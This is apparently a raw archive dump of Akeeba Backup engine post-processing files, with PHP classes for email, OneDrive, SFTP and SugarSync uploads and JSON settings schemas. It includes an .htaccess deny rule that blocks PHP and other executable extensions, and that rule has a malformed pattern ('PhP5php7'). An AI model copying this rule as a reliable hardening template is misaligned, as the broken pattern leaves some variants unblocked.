			}

			foreach ($service->endpoints as $endpoint)
			{
				if ($endpoint->region != $defaultRegion)
				{
					continue;
				}

				$this->userContract = $endpoint->tenantId;
				break;
			}
		}

		// Finally, set up the storage endpoint in the way the API class expects it
		if ($needsEndpoint)
		{
			$this->storageEndpoint .= '/' . $this->apiVersion . '/' . $this->userContract . '/' . $this->container;
		}
	}
}
PK     \Sʉ      8  vendor/akeeba/engine/engine/Postproc/Connector/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \H&sb  b  .  vendor/akeeba/engine/engine/Postproc/Email.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Akeeba\Engine\Postproc\Exception\BadConfiguration;
use Awf\Text\Text;
use Joomla\CMS\Language\Text as JText;
use RuntimeException;

class Email extends Base
{
	public function processPart($localFilepath, $remoteBaseName = null)
	{
		// Retrieve engine configuration data
		$config  = Factory::getConfiguration();
		$address = trim($config->get('engine.postproc.email.address', ''));
		$subject = $config->get('engine.postproc.email.subject', '0');

		// Sanity checks
		if (empty($address))
		{
			throw new BadConfiguration('You have not set up a recipient\'s email address for the backup files');
		}

		// Send the file
		$basename = empty($remoteBaseName) ? basename($localFilepath) : $remoteBaseName;

		Factory::getLog()->info(sprintf("Preparing to email %s to %s", $basename, $address));

		if (empty($subject))
		{
			$subject = "You have a new backup part";

			if (class_exists('\Awf\Text\Text'))
			{
				$subject = Text::_('COM_AKEEBA_COMMON_EMAIL_DEAFULT_SUBJECT');

				if ($subject === 'COM_AKEEBA_COMMON_EMAIL_DEAFULT_SUBJECT')
				{
					$subject = JText::_('COM_AKEEBABACKUP_COMMON_EMAIL_DEAFULT_SUBJECT');
				}
			}
			elseif (class_exists('\Joomla\CMS\Language\Text'))
			{
				$subject = JText::_('COM_AKEEBA_COMMON_EMAIL_DEAFULT_SUBJECT');

				if ($subject === 'COM_AKEEBA_COMMON_EMAIL_DEAFULT_SUBJECT')
				{
					$subject = JText::_('COM_AKEEBABACKUP_COMMON_EMAIL_DEAFULT_SUBJECT');
				}
			}
		}

		$body = "Emailing $basename";

		Factory::getLog()->debug("Subject: $subject");
		Factory::getLog()->debug("Body: $body");

		$result = Platform::getInstance()->send_email($address, $subject, $body, $localFilepath);

		// Return the result
		if ($result !== true)
		{
			// An error occurred
			throw new RuntimeException($result);
		}

		// Return success
		Factory::getLog()->info("Email sent successfully");

		return true;
	}

	protected function makeConnector()
	{
		/**
		 * This method does not use a connector.
		 */
		return;
	}


}
PK     \81    4  vendor/akeeba/engine/engine/Postproc/Onedriveapp.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc;

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Akeeba\Engine\Postproc\Connector\OneDriveApp as ConnectorOneDrive;
use Akeeba\Engine\Postproc\Exception\BadConfiguration;

/**
 * OneDrive (custom Azure AD application) post-processing engine.
 *
 * @deprecated Legacy OneDrive integration tied to a per-user custom OAuth2 application. Superseded by the
 *             Onedrivebusiness engine using the modern Microsoft Graph API. Retained only for backwards compatibility.
 */
class Onedriveapp extends Onedrivebusiness
{
	/**
	 * The name of the OAuth2 callback method in the parent window (the configuration page)
	 *
	 * @var   string
	 */
	protected $callbackMethod = 'akeeba_onedriveapp_oauth_callback';

	/**
	 * The key in Akeeba Engine's settings registry for this post-processing method
	 *
	 * @var   string
	 */
	protected $settingsKey = 'onedriveapp';

	public function __construct()
	{
		parent::__construct();

		// This OneDrive integration does not allow the getDrives method.
		array_pop($this->allowedCustomAPICallMethods);
	}

	protected function makeConnector()
	{
		// Retrieve engine configuration data
		$config = Factory::getConfiguration();

		$access_token  = trim($config->get('engine.postproc.' . $this->settingsKey . '.access_token', ''));
		$refresh_token = trim($config->get('engine.postproc.' . $this->settingsKey . '.refresh_token', ''));

		$this->isChunked  = $config->get('engine.postproc.' . $this->settingsKey . '.chunk_upload', true);
		$this->chunkSize  = $config->get('engine.postproc.' . $this->settingsKey . '.chunk_upload_size', 10) * 1024 * 1024;
		$defaultDirectory = rtrim($config->get('engine.postproc.' . $this->settingsKey . '.directory', ''), '/');
		$this->directory  = $config->get('volatile.postproc.directory', $defaultDirectory);

		// Sanity checks
		if (empty($refresh_token))
		{
			throw new BadConfiguration('You have not linked Akeeba Backup with your OneDrive account');
		}

		if (!function_exists('curl_init'))
		{
			throw new BadConfiguration('cURL is not enabled, please enable it in order to post-process your archives');
		}

		// Fix the directory name, if required
		$this->directory = empty($this->directory) ? '' : $this->directory;
		$this->directory = trim($this->directory);
		$this->directory = ltrim(Factory::getFilesystemTools()->TranslateWinPath($this->directory), '/');
		$this->directory = Factory::getFilesystemTools()->replace_archive_name_variables($this->directory);
		$config->set('volatile.postproc.directory', $this->directory);

		// Get Download ID
		$dlid = Platform::getInstance()->get_platform_configuration_option('update_dlid', '');

		if (empty($dlid))
		{
			throw new BadConfiguration('You must enter your Download ID in the application configuration before using the “Upload to OneDrive” feature.');
		}

		$connector = new ConnectorOneDrive($access_token, $refresh_token, $dlid);

		// Validate the tokens
		Factory::getLog()->debug(__METHOD__ . " - Validating the OneDrive tokens");
		$pingResult = $connector->ping();

		// Save new configuration if there was a refresh
		if ($pingResult['needs_refresh'])
		{
			Factory::getLog()->debug(__METHOD__ . " - OneDrive tokens were refreshed");
			$config->set('engine.postproc.' . $this->settingsKey . '.access_token', $pingResult['access_token'], false);
			$config->set('engine.postproc.' . $this->settingsKey . '.refresh_token', $pingResult['refresh_token'], false);

			$profile_id = Platform::getInstance()->get_active_profile();
			Platform::getInstance()->save_configuration($profile_id);
		}

		return $connector;
	}

	protected function getOAuth2HelperUrl()
	{
		return ConnectorOneDrive::helperUrl;
	}
}PK     \ss<A    -  vendor/akeeba/engine/engine/Postproc/Sftp.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Util\Transfer\Sftp as SftpTransfer;
use Akeeba\Engine\Util\Transfer\TransferInterface;
use RuntimeException;

class Sftp extends Ftp
{
	public function __construct()
	{
		parent::__construct();

		$this->supportsDownloadToBrowser = false;
		$this->engineKey                 = 'engine.postproc.sftp.';
	}

	/**
	 * Return the engine configuration
	 *
	 * @return array
	 */
	protected function getConfig()
	{
		// Retrieve engine configuration data
		$config = Factory::getConfiguration();

		$host             = $config->get($this->engineKey . 'host', '');
		$port             = $config->get($this->engineKey . 'port', 21);
		$username         = $config->get($this->engineKey . 'user', '');
		$password         = $config->get($this->engineKey . 'pass', 0);
		$privKey          = $config->get($this->engineKey . 'privkey', '');
		$pubKey           = $config->get($this->engineKey . 'pubkey', '');
		$defaultDirectory = $config->get($this->engineKey . 'initial_directory', '');
		$directory        = $config->get('volatile.postproc.directory', $defaultDirectory);

		// Process the initial directory
		$directory = '/' . ltrim(trim($directory), '/');
		$directory = Factory::getFilesystemTools()->replace_archive_name_variables($directory);
		$config->set('volatile.postproc.directory', $directory);

		// Try to automatically fix protocol in the hostname
		if (strtolower(substr($host, 0, 7)) == 'sftp://')
		{
			Factory::getLog()->warning('YOU ARE *** N O T *** SUPPOSED TO ENTER THE sftp:// PROTOCOL PREFIX IN THE SFTP HOSTNAME FIELD OF THE Upload to Remote SFTP POST-PROCESSING ENGINE.');
			Factory::getLog()->warning('I am trying to fix your bad configuration setting, but the backup might fail anyway. You MUST fix this in your configuration.');

			$host = substr($host, 7);
		}

		return [
			'host'       => $host,
			'port'       => $port,
			'username'   => $username,
			'password'   => $password,
			'directory'  => $directory,
			'privateKey' => $privKey,
			'publicKey'  => $pubKey,
			'subdir'     => null,
		];
	}

	protected function makeConnector()
	{
		Factory::getLog()->debug(__CLASS__ . ':: Connecting to remote SFTP');

		$options    = $this->getConfig();
		$sftphandle = new SftpTransfer($options);

		if (!$this->sftp_chdir($options['directory'], $sftphandle))
		{
			throw new RuntimeException(sprintf(
				"Invalid initial directory %s for the remote SFTP server",
				$options['directory']
			));
		}

		return $sftphandle;
	}

	/**
	 * Changes to the requested directory in the remote server. You give only the
	 * path relative to the initial directory and it does all the rest by itself,
	 * including doing nothing if the remote directory is the one we want. If the
	 * directory doesn't exist, it creates it.
	 *
	 * @param   string             $dir
	 * @param   TransferInterface  $sftphandle
	 *
	 * @return  boolean
	 */
	protected function sftp_chdir($dir, &$sftphandle)
	{
		// Calculate "real" (absolute) SFTP path
		$result = $sftphandle->isDir($dir);

		if ($result === false)
		{
			// The directory doesn't exist, let's try to create it...
			if (!$this->makeDirectory($dir, $sftphandle))
			{
				return false;
			}
		}

		// Update the private "current remote directory" variable
		return true;
	}

	/**
	 * Creates a nested directory structure on the remote SFTP server
	 *
	 * @param   string             $dir
	 * @param   TransferInterface  $sftphandle
	 *
	 * @return  boolean
	 */
	protected function makeDirectory($dir, &$sftphandle)
	{
		$alldirs     = explode('/', $dir);
		$previousDir = '';

		foreach ($alldirs as $curdir)
		{
			// Avoid empty dir
			if (!$curdir)
			{
				continue;
			}

			$check = $previousDir . '/' . $curdir;

			if (!$sftphandle->isDir($check))
			{
				if ($sftphandle->mkdir($check) === false)
				{
					throw new RuntimeException('Could not create SFTP directory ' . $check);
				}
			}

			$previousDir = $check;
		}

		return true;
	}
}
PK     \zdq    2  vendor/akeeba/engine/engine/Postproc/Sugarsync.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Postproc\Connector\Sugarsync as ConnectorSugarsync;
use Akeeba\Engine\Postproc\Exception\BadConfiguration;
use Akeeba\Engine\Postproc\Exception\RangeDownloadNotSupported;
use Exception;

/**
 * SugarSync post-processing class for Akeeba Backup
 *
 * @obsolete  SugarSync discontinued its consumer file-sync service and its public REST API
 *            (https://api.sugarsync.com) is no longer generally available. This engine can therefore no longer be
 *            exercised against a live service, and no integration test exists for it (see GitHub issue #146). It is
 *            retained only so that pre-existing backup profiles do not break on load; do not target it for new backups
 *            and do not expect it to function. Use any of the other, actively-supported remote storage engines instead.
 */
class Sugarsync extends Base
{
	public function __construct()
	{
		$this->supportsDelete            = true;
		$this->supportsDownloadToFile    = true;
		$this->supportsDownloadToBrowser = false;
	}

	public function processPart($localFilepath, $remoteBaseName = null)
	{
		/** @var ConnectorSugarsync $connector */
		$connector = $this->getConnector();
		$settings  = $this->getSettings();

		// Calculate relative remote filename
		$filename  = empty($remoteBaseName) ? basename($localFilepath) : $remoteBaseName;
		$directory = $settings['directory'];

		if (empty($directory) || ($directory == '/'))
		{
			$directory = '';
		}

		// Store the absolute remote path in the class property
		$this->remotePath = $directory . '/' . $filename;

		$connector->uploadFile($directory, $filename, $localFilepath);

		return true;
	}

	public function delete($path)
	{
		/** @var ConnectorSugarsync $connector */
		$connector = $this->getConnector();

		$connector->deleteFile($path);
	}

	public function downloadToFile($remotePath, $localFile, $fromOffset = null, $length = null)
	{
		if (!is_null($fromOffset) || !is_null($length))
		{
			throw new RangeDownloadNotSupported();
		}

		/** @var ConnectorSugarsync $connector */
		$connector = $this->getConnector();

		$connector->downloadFile($remotePath, null, $localFile);
	}

	/**
	 * Returns the engine configuration
	 *
	 * @return  array
	 *
	 * @throws  Exception  If something is wrong
	 */
	protected function getSettings()
	{
		// Retrieve engine configuration data
		$config = Factory::getConfiguration();

		$access           = trim($config->get('engine.postproc.sugarsync.access', ''));
		$private          = trim($config->get('engine.postproc.sugarsync.private', ''));
		$email            = trim($config->get('engine.postproc.sugarsync.email', ''));
		$password         = trim($config->get('engine.postproc.sugarsync.password', ''));
		$defaultDirectory = $config->get('engine.postproc.sugarsync.directory', '');
		$directory        = $config->get('volatile.postproc.directory', $defaultDirectory);

		// Sanity checks
		if (empty($access))
		{
			throw new BadConfiguration('You have not set up your SugarSync Access Key ID');
		}

		if (empty($private))
		{
			throw new BadConfiguration('You have not set up your SugarSync Private Access Key');
		}

		if (empty($email))
		{
			throw new BadConfiguration('You have not set up your SugarSync email address');
		}

		if (empty($password))
		{
			throw new BadConfiguration('You have not set up your SugarSync password');
		}

		if (!function_exists('curl_init'))
		{
			throw new BadConfiguration('cURL is not enabled, please enable it in order to post-process your archives');
		}

		// Fix the directory name, if required
		$directory = empty($directory) ? '' : $directory;
		$directory = trim($directory);
		$directory = ltrim(Factory::getFilesystemTools()->TranslateWinPath($directory), '/');
		$directory = Factory::getFilesystemTools()->replace_archive_name_variables($directory);
		$config->set('volatile.postproc.directory', $directory);

		return [
			'access'    => $access,
			'private'   => $private,
			'email'     => $email,
			'password'  => $password,
			'directory' => $directory,
		];
	}

	protected function makeConnector()
	{
		$settings = $this->getSettings();

		return new ConnectorSugarsync($settings);
	}


}
PK     \:4@	  @	  7  vendor/akeeba/engine/engine/Postproc/googlestorage.jsonnu [        {
    "_information": {
        "title": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_GOOGLESTORAGE_TITLE",
        "description": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_GOOGLESTORAGE_DESCRIPTION"
    },
    "engine.postproc.common.after_part": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROCPARTS_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCPARTS_DESCRIPTION"
    },
    "engine.postproc.common.abort_on_fail": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROC_ABORT_ON_FAIL_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROC_ABORT_ON_FAIL_DESCRIPTION"
    },
    "engine.postproc.common.delete_after": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_DELETEAFTER_TITLE",
        "description": "COM_AKEEBA_CONFIG_DELETEAFTER_DESCRIPTION"
    },
    "engine.postproc.googlestorage.accesskey": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_GOOGLESTORAGEACCESSKEY_TITLE",
        "description": "COM_AKEEBA_CONFIG_GOOGLESTORAGEACCESSKEY_DESCRIPTION"
    },
    "engine.postproc.googlestorage.secretkey": {
        "default": "",
        "type": "password",
        "title": "COM_AKEEBA_CONFIG_GOOGLESTORAGESECRETKEY_TITLE",
        "description": "COM_AKEEBA_CONFIG_GOOGLESTORAGESECRETKEY_DESCRIPTION"
    },
    "engine.postproc.googlestorage.usessl": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_GOOGLESTORAGEUSESSL_TITLE",
        "description": "COM_AKEEBA_CONFIG_GOOGLESTORAGEUSESSL_DESCRIPTION"
    },
    "engine.postproc.googlestorage.bucket": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_GOOGLESTORAGEBUCKET_TITLE",
        "description": "COM_AKEEBA_CONFIG_GOOGLESTORAGEBUCKET_DESCRIPTION"
    },
    "engine.postproc.googlestorage.lowercase": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_GOOGLESTORAGELOWERCASE_TITLE",
        "description": "COM_AKEEBA_CONFIG_GOOGLESTORAGELOWERCASE_DESCRIPTION"
    },
    "engine.postproc.googlestorage.directory": {
        "default": "\/",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_GOOGLESTORAGEDIRECTORY_TITLE",
        "description": "COM_AKEEBA_CONFIG_GOOGLESTORAGEDIRECTORY_DESCRIPTION"
    }
}PK     \|3    -  vendor/akeeba/engine/engine/Postproc/None.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc;

defined('AKEEBAENGINE') || die();

class None extends Base
{
	public function __construct()
	{
		// No point in breaking the step; we simply do nothing :)
		$this->recommendsBreakAfter           = false;
		$this->recommendsBreakBefore          = false;
		$this->advisesDeletionAfterProcessing = false;
	}

	public function processPart($localFilepath, $remoteBaseName = null)
	{
		// Really nothing to do!!
		return true;
	}

	protected function makeConnector()
	{
		// I have to return an object to satisfy the definition.
		return (object) [
			'foo' => 'bar',
		];
	}
}
PK     \$  $  1  vendor/akeeba/engine/engine/Postproc/Sftpcurl.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Util\Transfer\SftpCurl as SftpTransferCurl;
use RuntimeException;

class Sftpcurl extends Sftp
{
	public function __construct()
	{
		parent::__construct();

		$this->engineKey = 'engine.postproc.sftpcurl.';
	}

	protected function makeConnector()
	{
		Factory::getLog()->debug(__CLASS__ . ':: Connecting to remote SFTP');

		$options    = $this->getConfig();
		$sftphandle = new SftpTransferCurl($options);

		if (!$this->sftp_chdir($options['directory'], $sftphandle))
		{
			throw new RuntimeException(sprintf(
				"Invalid initial directory %s for the remote SFTP server",
				$options['directory']
			));
		}

		return $sftphandle;
	}
}
PK     \/0/|*  *  4  vendor/akeeba/engine/engine/Postproc/cloudfiles.jsonnu [        {
    "_information": {
        "title": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_CLOUDFILES_TITLE",
        "description": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_CLOUDFILES_DESCRIPTION"
    },
    "engine.postproc.common.after_part": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROCPARTS_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCPARTS_DESCRIPTION"
    },
    "engine.postproc.common.abort_on_fail": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROC_ABORT_ON_FAIL_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROC_ABORT_ON_FAIL_DESCRIPTION"
    },
    "engine.postproc.common.delete_after": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_DELETEAFTER_TITLE",
        "description": "COM_AKEEBA_CONFIG_DELETEAFTER_DESCRIPTION"
    },
    "engine.postproc.cloudfiles.username": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_CLOUDFILESUSERNAME_TITLE",
        "description": "COM_AKEEBA_CONFIG_CLOUDFILESUSERNAME_DESCRIPTION"
    },
    "engine.postproc.cloudfiles.apikey": {
        "default": "",
        "type": "password",
        "title": "COM_AKEEBA_CONFIG_CLOUDFILESAPIKEY_TITLE",
        "description": "COM_AKEEBA_CONFIG_CLOUDFILESAPIKEY_DESCRIPTION"
    },
    "engine.postproc.cloudfiles.container": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_CLOUDFILESCONTAINER_TITLE",
        "description": "COM_AKEEBA_CONFIG_CLOUDFILESCONTAINER_DESCRIPTION"
    },
    "engine.postproc.cloudfiles.directory": {
        "default": "\/",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_CLOUDFILESDIRECTORY_TITLE",
        "description": "COM_AKEEBA_CONFIG_CLOUDFILESDIRECTORY_DESCRIPTION"
    }
}PK     \\}t$  $  1  vendor/akeeba/engine/engine/Postproc/cloudme.jsonnu [        {
    "_information": {
        "title": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_CLOUDME_TITLE",
        "description": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_CLOUDME_DESCRIPTION"
    },
    "engine.postproc.common.after_part": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROCPARTS_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCPARTS_DESCRIPTION"
    },
    "engine.postproc.common.abort_on_fail": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROC_ABORT_ON_FAIL_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROC_ABORT_ON_FAIL_DESCRIPTION"
    },
    "engine.postproc.common.delete_after": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_DELETEAFTER_TITLE",
        "description": "COM_AKEEBA_CONFIG_DELETEAFTER_DESCRIPTION"
    },
    "engine.postproc.cloudme.username": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_CLOUDME_USERNAME_TITLE",
        "description": "COM_AKEEBA_CONFIG_CLOUDME_USERNAME_DESCRIPTION"
    },
    "engine.postproc.cloudme.password": {
        "default": "",
        "type": "password",
        "title": "COM_AKEEBA_CONFIG_CLOUDME_PASSWORD_TITLE",
        "description": "COM_AKEEBA_CONFIG_CLOUDME_PASSWORD_DESCRIPTION"
    },
    "engine.postproc.cloudme.directory": {
        "default": "\/",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_CLOUDME_DIRECTORY_TITLE",
        "description": "COM_AKEEBA_CONFIG_CLOUDME_DIRECTORY_DESCRIPTION"
    }
}PK     \    -  vendor/akeeba/engine/engine/Postproc/ftp.jsonnu [        {
    "_information": {
        "title": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_FTP_TITLE",
        "description": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_FTP_DESCRIPTION"
    },
    "engine.postproc.common.after_part": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROCPARTS_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCPARTS_DESCRIPTION"
    },
    "engine.postproc.common.abort_on_fail": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROC_ABORT_ON_FAIL_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROC_ABORT_ON_FAIL_DESCRIPTION"
    },
    "engine.postproc.common.delete_after": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_DELETEAFTER_TITLE",
        "description": "COM_AKEEBA_CONFIG_DELETEAFTER_DESCRIPTION"
    },
    "engine.postproc.ftp.host": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_POSTPROCFTP_HOST_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCFTP_HOST_DESCRIPTION"
    },
    "engine.postproc.ftp.port": {
        "default": "21",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_POSTPROCFTP_PORT_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCFTP_PORT_DESCRIPTION"
    },
    "engine.postproc.ftp.user": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_POSTPROCFTP_USER_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCFTP_USER_DESCRIPTION"
    },
    "engine.postproc.ftp.pass": {
        "default": "",
        "type": "password",
        "title": "COM_AKEEBA_CONFIG_POSTPROCFTP_PASSWORD_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCFTP_PASSWORD_DESCRIPTION"
    },
    "engine.postproc.ftp.initial_directory": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_POSTPROCFTP_INITDIR_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCFTP_INITDIR_DESCRIPTION"
    },
    "engine.postproc.ftp.subdirectory": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_POSTPROCFTP_OPTSUBDIR_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCFTP_OPTSUBDIR_DESCRIPTION"
    },
    "engine.postproc.ftp.ftps": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROCFTP_FTPS_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCFTP_FTPS_DESCRIPTION"
    },
    "engine.postproc.ftp.passive_mode": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROCFTP_PASSIVE_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCFTP_PASSIVE_DESCRIPTION"
    },
    "engine.postproc.ftp.ftp_test": {
        "default": "0",
        "type": "button",
        "hook": "postprocftp_test_connection",
        "title": "COM_AKEEBA_CONFIG_POSTPROCFTP_TEST_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCFTP_TEST_DESCRIPTION"
    }
}PK     \@    -  vendor/akeeba/engine/engine/Postproc/Base.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Platform;
use Akeeba\Engine\Postproc\Exception\BadConfiguration;
use Akeeba\Engine\Postproc\Exception\DeleteNotSupported;
use Akeeba\Engine\Postproc\Exception\DownloadToBrowserNotSupported;
use Akeeba\Engine\Postproc\Exception\DownloadToServerNotSupported;
use Akeeba\Engine\Postproc\Exception\OAuthNotSupported;
use Akeeba\Engine\Util\FileCloseAware;
use Exception;

/**
 * Akeeba Engine post-processing abstract class. Provides the default implementation of most of the PostProcInterface
 * methods.
 */
abstract class Base implements PostProcInterface
{
	use FileCloseAware;

	/**
	 * Should we break the step before post-processing?
	 *
	 * The only engine which does not require a step break before is the None engine.
	 *
	 * @var bool
	 */
	protected $recommendsBreakBefore = true;

	/**
	 * Should we break the step after post-processing?
	 *
	 * @var bool
	 */
	protected $recommendsBreakAfter = true;

